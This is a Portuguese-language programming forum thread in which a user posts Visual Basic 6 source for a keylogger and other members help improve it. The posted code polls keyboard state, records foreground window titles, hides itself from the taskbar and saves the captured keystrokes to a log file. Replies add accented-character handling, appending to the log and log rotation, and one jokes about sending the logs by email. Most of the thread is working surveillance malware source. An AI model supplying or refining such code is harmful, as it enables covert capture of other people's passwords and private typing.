• Revista PROGRAMAR: Já está disponível a edição #53 da revista programar. Faz já o download aqui!

ber0x88

[VB 6.0] local keylogger

18 mensagens neste tópico

Olá pessoal...

há tempos andei a ver se conseguia editar um local keylogger aqui para o meu pc...

mas como não sou expert começei a "empancar" em alguns sitios do código...  :wallbash:

o código é o seguinte:

Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer

Private Sub Command1_Click()
Command1.Enabled = False
Command2.Enabled = True
Timer1.Enabled = True
End Sub

Private Sub Command2_Click()
Command1.Enabled = True
Command2.Enabled = False
Timer1.Enabled = False
End Sub

Private Sub Command3_Click()
List1.Clear
End Sub

Private Sub Command4_Click()
End
End Sub

Private Sub Command5_Click()
Me.WindowState = 1
End Sub

Private Sub Timer1_Timer()
If List1.ListCount = 0 Then Command3.Enabled = False Else Command3.Enabled = True
Dim FoundKeys As String

On Error Resume Next

    Dim AddKey
    
    KeyResult = GetAsyncKeyState(13)
    If KeyResult = -32767 Then
        AddKey = vbCrLf
        GoTo KeyFound
    End If
    KeyResult = GetAsyncKeyState(8)
    If KeyResult = -32767 Then
        l = Len(Text1.Text)
        AddKey = "[backspace]"
        GoTo KeyFound
    End If
   
     
    
'------------FUNCTION KEYS
'------------SPECIAL KEYS

KeyResult = GetAsyncKeyState(32)
    If KeyResult = -32767 Then
        AddKey = " "
        GoTo KeyFound
    End If
    
KeyResult = GetAsyncKeyState(186)
    If KeyResult = -32767 Then
        If GetShift = False Then AddKey = ";" Else AddKey = ":"
        GoTo KeyFound
    End If

KeyResult = GetAsyncKeyState(187)
    If KeyResult = -32767 Then
        If GetShift = False Then AddKey = "=" Else AddKey = "+"
        GoTo KeyFound
    End If
  
KeyResult = GetAsyncKeyState(188)
    If KeyResult = -32767 Then
        If GetShift = False Then AddKey = "," Else AddKey = "<"
       GoTo KeyFound
    End If
   
KeyResult = GetAsyncKeyState(189)
    If KeyResult = -32767 Then
        If GetShift = False Then AddKey = "-" Else AddKey = "_"
        GoTo KeyFound
    End If
  
KeyResult = GetAsyncKeyState(190)
    If KeyResult = -32767 Then
        If GetShift = False Then AddKey = "." Else AddKey = ">"
        GoTo KeyFound
    End If

KeyResult = GetAsyncKeyState(191)
    If KeyResult = -32767 Then
        If GetShift = False Then AddKey = "/" Else AddKey = "?"   '/
        GoTo KeyFound
    End If
  
KeyResult = GetAsyncKeyState(192)
    If KeyResult = -32767 Then
        If GetShift = False Then AddKey = "`" Else AddKey = "~"       '`
        GoTo KeyFound
    End If
     


'----------NUM PAD
KeyResult = GetAsyncKeyState(96)
    If KeyResult = -32767 Then
        If GetShift = False Then AddKey = "0" Else AddKey = ")"
        GoTo KeyFound
    End If

KeyResult = GetAsyncKeyState(97)
    If KeyResult = -32767 Then
        If GetShift = False Then AddKey = "1" Else AddKey = "!"
        GoTo KeyFound
    End If
     

KeyResult = GetAsyncKeyState(98)
    If KeyResult = -32767 Then
        If GetShift = False Then AddKey = "2" Else AddKey = "@"
        GoTo KeyFound
    End If

KeyResult = GetAsyncKeyState(99)
    If KeyResult = -32767 Then
        If GetShift = False Then AddKey = "3" Else AddKey = "#"
        GoTo KeyFound
    End If
    
    
KeyResult = GetAsyncKeyState(100)
    If KeyResult = -32767 Then
        If GetShift = False Then AddKey = "4" Else AddKey = "$"
        GoTo KeyFound
    End If

KeyResult = GetAsyncKeyState(101)
    If KeyResult = -32767 Then
        If GetShift = False Then AddKey = "5" Else AddKey = "%"
        GoTo KeyFound
    End If
    
    
KeyResult = GetAsyncKeyState(102)
    If KeyResult = -32767 Then
        If GetShift = False Then AddKey = "6" Else AddKey = "^"
        GoTo KeyFound
    End If

KeyResult = GetAsyncKeyState(103)
    If KeyResult = -32767 Then
        If GetShift = False Then AddKey = "7" Else AddKey = "&"
        GoTo KeyFound
    End If
    
    
KeyResult = GetAsyncKeyState(104)
    If KeyResult = -32767 Then
        If GetShift = False Then AddKey = "8" Else AddKey = "*"
        GoTo KeyFound
    End If

KeyResult = GetAsyncKeyState(105)
    If KeyResult = -32767 Then
        If GetShift = False Then AddKey = "9" Else AddKey = "("
        GoTo KeyFound
    End If
       
    
KeyResult = GetAsyncKeyState(106)
    If KeyResult = -32767 Then
        If GetShift = False Then AddKey = "*" Else AddKey = ""
        GoTo KeyFound
    End If

KeyResult = GetAsyncKeyState(107)
    If KeyResult = -32767 Then
        If GetShift = False Then AddKey = "=" Else AddKey = "+"
        GoTo KeyFound
    End If
    
KeyResult = GetAsyncKeyState(108)
    If KeyResult = -32767 Then
        AddKey = ""
        If GetShift = False Then Text1.Text = Text1.Text & vbCrLf
        GoTo KeyFound
    End If

KeyResult = GetAsyncKeyState(109)
    If KeyResult = -32767 Then
        If GetShift = False Then AddKey = "-" Else AddKey = "_"
        GoTo KeyFound
    End If
    
KeyResult = GetAsyncKeyState(110)
    If KeyResult = -32767 Then
        If GetShift = False Then AddKey = "." Else AddKey = ">"
        GoTo KeyFound
    End If

KeyResult = GetAsyncKeyState(2)
    If KeyResult = -32767 Then
        If GetShift = False Then AddKey = "/" Else AddKey = "?"
        GoTo KeyFound
    End If

KeyResult = GetAsyncKeyState(220)
    If KeyResult = -32767 Then
        If GetShift = False Then AddKey = "\" Else AddKey = "|"
        GoTo KeyFound
    End If

KeyResult = GetAsyncKeyState(222)
    If KeyResult = -32767 Then
        If GetShift = False Then AddKey = "'" Else AddKey = Chr(34)
        GoTo KeyFound
    End If

KeyResult = GetAsyncKeyState(221)
    If KeyResult = -32767 Then
        If GetShift = False Then AddKey = "]" Else AddKey = "}"
        
        
        GoTo KeyFound
    End If
    
KeyResult = GetAsyncKeyState(219) '219
    If KeyResult = -32767 Then
        If GetShift = False Then AddKey = "[" Else AddKey = "{"
        GoTo KeyFound
    End If



For n = 65 To 128
    KeyResult = GetAsyncKeyState(n)
    If KeyResult = -32767 Then
        If GetShift = False Then
            If GetCapslock = True Then AddKey = UCase(Chr(n)) Else AddKey = LCase(Chr(n))
        Else
            If GetCapslock = False Then AddKey = UCase(Chr(n)) Else AddKey = LCase(Chr(n))
        End If
        GoTo KeyFound
    End If
Next n


For n = 48 To 57
    KeyResult = GetAsyncKeyState(n)
    If KeyResult = -32767 Then
        If GetShift = True Then
            Select Case Val(Chr(n))
                Case 1
                    AddKey = "!"
                Case 2
                    AddKey = "@"
                Case 3
                    AddKey = "#"
                Case 4
                    AddKey = "$"
                Case 5
                    AddKey = "%"
                Case 6
                    AddKey = "^"
                Case 7
                    AddKey = "&"
                Case 8
                    AddKey = "*"
                Case 9
                    AddKey = "("
                Case 0
                    AddKey = ")"
            End Select
        Else
            AddKey = Chr(n)
        End If
        GoTo KeyFound
    End If
Next n
DoEvents
Exit Sub

KeyFound:
If AddKey <> "" Then List1.AddItem AddKey
DoEvents
End Sub

Module1:

Global LastKey As String
Global timeout As Byte
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer

Private Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer


Public Function GetCapslock() As Boolean
' Return or set the Capslock toggle.

GetCapslock = CBool(GetKeyState(vbKeyCapital) And 1)

End Function

Public Function GetShift() As Boolean

' Return or set the Capslock toggle.

GetShift = CBool(GetAsyncKeyState(vbKeyShift))

End Function

O keylogger funciona bem mas tem alguns bugs... :P

Agora o que eu queria saber é:

1º : Como fazer para o keylogger apanhar também as letras com acentos...

2º : Como fazer para guardar o que está no textbox num bloco de notas, tipo clicar um botão e ele guardar num ficheiro txt ou guardar automaticamente sem clicar... (ex: C:\log.txt)

3º : Se alguém me podesse explicar um pouco o código fonte era muito bom..  :bye2:

Sem mais fico a espera de ajuda... :D

0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites

Se reparares bem, ele ai no meio, vai detectar os caracteres via código ASCII, tenta editar os limites. :P

0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites

Se reparares bem, ele ai no meio, vai detectar os caracteres via código ASCII, tenta editar os limites. :D

ok... já fiz umas modificações e já está a trabalhar +- quanto a acentos mas e quanto a esta pergunta... sabes responder?!!?

2º : Como fazer para guardar o que está no textbox num bloco de notas, tipo clicar um botão e ele guardar num ficheiro txt ou guardar automaticamente sem clicar... (ex: C:\log.txt)

este é que eu precisava saber mesmo... :P

0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites

Isso dos de escrever nos files em VB nao sei mas em java podes guardar o texto num StringBuffer e depois fazer 1 Stream para um fila do StringBuffer penso que VB deve ter mecanismos semalhantes.

Faz isso a enviar por mail :P

0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites

Este já é outro...

quanto a acentos não está operacional...

mas mostra o nome da janela e o que foi digitado nela... :D

Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer
Private Declare Function GetForegroundWindow Lib "user32" () As Long
Private Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Private Declare Function GetWindowTextLength Lib "user32" Alias "GetWindowTextLengthA" (ByVal hwnd As Long) As Long

Private LastWindow As String
Private LastHandle As Long
Private dKey(255) As Long
Private Const VK_SHIFT = &H10
Private Const VK_CTRL = &H11
Private Const VK_ALT = &H12
Private Const VK_CAPITAL = &H14
Private ChangeChr(255) As String
Private AltDown As Boolean

Private Sub Form_Load()
App.TaskVisible = False

ChangeChr(33) = "[PageUp]"
ChangeChr(34) = "[PageDown]"
ChangeChr(35) = "[End]"
ChangeChr(36) = "[Home]"

ChangeChr(45) = "[insert]"
ChangeChr(46) = "[Delete]"

ChangeChr(48) = "="
ChangeChr(49) = "!"
ChangeChr(50) = """"
ChangeChr(51) = "#"
ChangeChr(52) = "$"
ChangeChr(53) = "%"
ChangeChr(54) = "&"
ChangeChr(55) = "/"
ChangeChr(56) = "("
ChangeChr(57) = ")"

ChangeChr(186) = "´"
ChangeChr(187) = "="
ChangeChr(188) = ","
ChangeChr(189) = "-"
ChangeChr(190) = "."
ChangeChr(191) = "~"

ChangeChr(219) = "'"
ChangeChr(220) = "\"
ChangeChr(221) = "«"
ChangeChr(222) = "'"


ChangeChr(86) = "`"
ChangeChr(87) = "+"
ChangeChr(88) = ";"
ChangeChr(89) = "_"
ChangeChr(90) = ":"
ChangeChr(91) = "^"

ChangeChr(119) = "?"
ChangeChr(120) = "|"
ChangeChr(121) = "»"
ChangeChr(122) = """"


ChangeChr(96) = "0"
ChangeChr(97) = "1"
ChangeChr(98) = "2"
ChangeChr(99) = "3"
ChangeChr(100) = "4"
ChangeChr(101) = "5"
ChangeChr(102) = "6"
ChangeChr(103) = "7"
ChangeChr(104) = "8"
ChangeChr(105) = "9"
ChangeChr(106) = "*"
ChangeChr(107) = "+"
ChangeChr(109) = "-"
ChangeChr(110) = "."
ChangeChr(111) = "/"

ChangeChr(192) = "`"
ChangeChr(92) = "~"
End Sub

Function TypeWindow()
Dim Handle As Long
Dim textlen As Long
Dim WindowText As String

Handle = GetForegroundWindow
LastHandle = Handle
textlen = GetWindowTextLength(Handle) + 1

WindowText = Space(textlen)
svar = GetWindowText(Handle, WindowText, textlen)
WindowText = Left(WindowText, Len(WindowText) - 1)

If WindowText <> LastWindow Then
If Text1 <> "" Then Text1 = Text1 & vbCrLf & vbCrLf
Text1 = Text1 & "==============================" & vbCrLf & WindowText & vbCrLf & "==============================" & vbCrLf
LastWindow = WindowText
End If
End Function

Private Sub Timer1_Timer()

'when alt is up
If GetAsyncKeyState(VK_ALT) = 0 And AltDown = True Then
AltDown = False
Text1 = Text1 & "[ALTUP]"
End If

'a-z A-Z
For i = Asc("A") To Asc("Z")
If GetAsyncKeyState(i) = -32767 Then
Open CurDir & "/log.txt" For Output As #1
Write #1, Text1.Text
Close #1
TypeWindow

   
  If GetAsyncKeyState(VK_SHIFT) < 0 Then
   If GetKeyState(VK_CAPITAL) > 0 Then
   Text1 = Text1 & LCase(Chr(i))
   Exit Sub
   Else
   Text1 = Text1 & UCase(Chr(i))
   Exit Sub
   End If
  Else
   If GetKeyState(VK_CAPITAL) > 0 Then
   Text1 = Text1 & UCase(Chr(i))
   Exit Sub
   Else
   Text1 = Text1 & LCase(Chr(i))
   Exit Sub
   End If
  End If
           
Open CurDir & "/log.txt" For Output As #1
Write #1, Text1.Text
Close #1
           
End If
Next

'1234567890)(*&^%$#@!
For i = 48 To 57
If GetAsyncKeyState(i) = -32767 Then
Open CurDir & "/log.txt" For Output As #1
Write #1, Text1.Text
Close #1
TypeWindow
  
  If GetAsyncKeyState(VK_SHIFT) < 0 Then
  Text1 = Text1 & ChangeChr(i)
  Exit Sub
  Else
  Text1 = Text1 & Chr(i)
  Exit Sub
  End If
  
End If
Next


';=,-./
For i = 186 To 192
If GetAsyncKeyState(i) = -32767 Then
Open CurDir & "/log.txt" For Output As #1
Write #1, Text1.Text
Close #1
TypeWindow
  
  If GetAsyncKeyState(VK_SHIFT) < 0 Then
  Text1 = Text1 & ChangeChr(i - 100)
  Exit Sub
  Else
  Text1 = Text1 & ChangeChr(i)
  Exit Sub
  End If
  
End If
Next


'[\]'
For i = 219 To 222
If GetAsyncKeyState(i) = -32767 Then
Open CurDir & "/log.txt" For Output As #1
Write #1, Text1.Text
Close #1
TypeWindow
  
  If GetAsyncKeyState(VK_SHIFT) < 0 Then
  Text1 = Text1 & ChangeChr(i - 100)
  Exit Sub
  Else
  Text1 = Text1 & ChangeChr(i)
  Exit Sub
  End If
  
End If
Next

'num pad
For i = 96 To 111
If GetAsyncKeyState(i) = -32767 Then
Open CurDir & "/log.txt" For Output As #1
Write #1, Text1.Text
Close #1
TypeWindow
  
  If GetAsyncKeyState(VK_ALT) < 0 And AltDown = False Then
  AltDown = True
  Text1 = Text1 & "[ALTDOWN]"
  Else
   If GetAsyncKeyState(VK_ALT) >= 0 And AltDown = True Then
   AltDown = False
   Text1 = Text1 & "[ALTUP]"
   End If
  End If
  
  Text1 = Text1 & ChangeChr(i)
  Exit Sub
End If
Next

'for space
If GetAsyncKeyState(32) = -32767 Then
Open CurDir & "/log.txt" For Output As #1
Write #1, Text1.Text
Close #1
TypeWindow
  Text1 = Text1 & " "
End If

'for enter
If GetAsyncKeyState(13) = -32767 Then
Open CurDir & "/log.txt" For Output As #1
Write #1, Text1.Text
Close #1
TypeWindow
  Text1 = Text1 & "[Enter]"
End If

'for backspace
If GetAsyncKeyState(8) = -32767 Then
Open CurDir & "/log.txt" For Output As #1
Write #1, Text1.Text
Close #1
TypeWindow
  Text1 = Text1 & "[backSpace]"
End If

'for left arrow
If GetAsyncKeyState(37) = -32767 Then
Open CurDir & "/log.txt" For Output As #1
Write #1, Text1.Text
Close #1
TypeWindow
  Text1 = Text1 & "[LeftArrow]"
End If

'for up arrow
If GetAsyncKeyState(38) = -32767 Then
Open CurDir & "/log.txt" For Output As #1
Write #1, Text1.Text
Close #1
TypeWindow
  Text1 = Text1 & "[upArrow]"
End If

'for right arrow
If GetAsyncKeyState(39) = -32767 Then
Open CurDir & "/log.txt" For Output As #1
Write #1, Text1.Text
Close #1
TypeWindow
  Text1 = Text1 & "[RightArrow]"
End If

  'for down arrow
If GetAsyncKeyState(40) = -32767 Then
Open CurDir & "/log.txt" For Output As #1
Write #1, Text1.Text
Close #1
TypeWindow
  Text1 = Text1 & "[DownArrow]"
End If

'tab
If GetAsyncKeyState(9) = -32767 Then
Open CurDir & "/log.txt" For Output As #1
Write #1, Text1.Text
Close #1
TypeWindow
  Text1 = Text1 & "[Tab]"
End If

  'escape
If GetAsyncKeyState(27) = -32767 Then
Open CurDir & "/log.txt" For Output As #1
Write #1, Text1.Text
Close #1
TypeWindow
  Text1 = Text1 & "[Escape]"
End If

'insert, delete
For i = 45 To 46
If GetAsyncKeyState(i) = -32767 Then
Open CurDir & "/log.txt" For Output As #1
Write #1, Text1.Text
Close #1
TypeWindow
Text1 = Text1 & ChangeChr(i)
End If
Next

'page up, page down, end, home
For i = 33 To 36
If GetAsyncKeyState(i) = -32767 Then
Open CurDir & "/log.txt" For Output As #1
Write #1, Text1.Text
Close #1
TypeWindow
Text1 = Text1 & ChangeChr(i)
End If
Next

'left click
If GetAsyncKeyState(1) = -32767 Then
   If (LastHandle = GetForegroundWindow) And LastHandle <> 0 Then 'we make sure that click is on the page that we are loging bute click log start when we type something in window
   Text1 = Text1 & "[LeftClick]"
   Open CurDir & "/log.txt" For Output As #1
Write #1, Text1.Text
Close #1
   End If
  End If

  
End Sub

e agora eu repeti muitas vezes isto:

Open CurDir & "/log.txt" For Output As #1
Write #1, Text1.Text
Close #1

mas isso não é o principal problema...

o principal problema é que cada vez que fecho e abro o keylogger de novo... o log.txt fica limpo e começa outra vez tudo do inicio!!!

como posso agora fazer para em vez dele limpar o log.txt quando inicio o programa, apenas continuar a escrever e deixar está tudo certinho desde a sua ultima captura!?!? :hmm:

Isso dos de escrever nos files em VB nao sei mas em java podes guardar o texto num StringBuffer e depois fazer 1 Stream para um fila do StringBuffer penso que VB deve ter mecanismos semalhantes.

Faz isso a enviar por mail :D

Primeiro quero-o completar a nivel local... :cheesygrin:

agora que disponibilizei o código e está o keylogger "quase pronto" conto com a vossa ajuda!!! :P

0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites

Para seberes o codigo AsCii do caracters com acento ve isto:

http://www.freebasic.net/wiki/wikka.php?wakka=CptAscii

Assim isto vai para a frente!!!  :cheesygrin: Obrigadão!!! Era mesmo isto que estava a precisar!!! :P

Agora só me falta saber como posso fazer para em vez dele limpar o log.txt quando inicio o programa, apenas continuar a escrever e deixar está tudo certinho desde a sua ultima captura!!

0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites

Pá isso deve tar na api do VB em java é meter la uns true quando se cria a ligação ao file :P

0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites

Para abrires e continuar a colocar em baixo a informação fazes:

Envez de :

Open "dir" for Output as #1

      ....

Close #1

Fazes:

Open "dir" for append as #1

      ....

Close #1

Depois quando tiver tempo dou uma vista de olhos no código  :P

Cumps

0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites

Eu não sou lá grande ajuda nisto,.. sei umas coisitas de VB6 mas não é muito...:S

0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites

Já dei uma vista de olhos no código e pareceme estar um pouquito confuso  :bored:

Eu sugeria que trabalhasses com Virtual Keys envez do código ASCII :P Na minha opinião é melhor.

Cumps

0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites

podes-me dar uma referencia de como trabalhar com virtual keys?!!?

Para abrires e continuar a colocar em baixo a informação fazes:

Envez de :

Open "dir" for Output as #1

      ....

Close #1

Fazes:

Open "dir" for append as #1

      ....

Close #1

Depois quando tiver tempo dou uma vista de olhos no código  :P

Cumps

NuGuN subtitui todos os "output" por "append" mas agora o resultado é cada vez que o keylogger apanha um caractere,  insere no bloco de notas juntamente com tudo o que apanhou anteriormente... ou seja não adiciona só o caractere ao resto do log...

ex:

"a"

"ab"

"abc"

"abcd"

"abcde"

0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites

Sim, o que o append faz é acrencentar no fim do decomento e não como o output que apaga tudo. Para resolver esse problema, ou alteras o código todo ou entao cadavez que abres o programa guardas o ficheiro Log e inicias outro Log

Cumps

0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites

então posso fazer por exemplo:

Se existir log.txt then

rename log.txt para 1.txt

else

continua o código...

podes-me só converter para VB este algoritmo?!? :-[

0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites

Posso pois  :P

If Dir(directório \ Log.txt) = "log.txt" Then 'Se existir log.txt then
    Name "dir\log.txt" As "dir\novo_nome.txt" 'rename log.txt para 1.txt
    Else
        ....
End If

Cumps

0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites

Crie uma conta ou ligue-se para comentar

Só membros podem comentar

Criar nova conta

Registe para ter uma conta na nossa comunidade. É fácil!


Registar nova conta

Entra

Já tem conta? Inicie sessão aqui.


Entrar Agora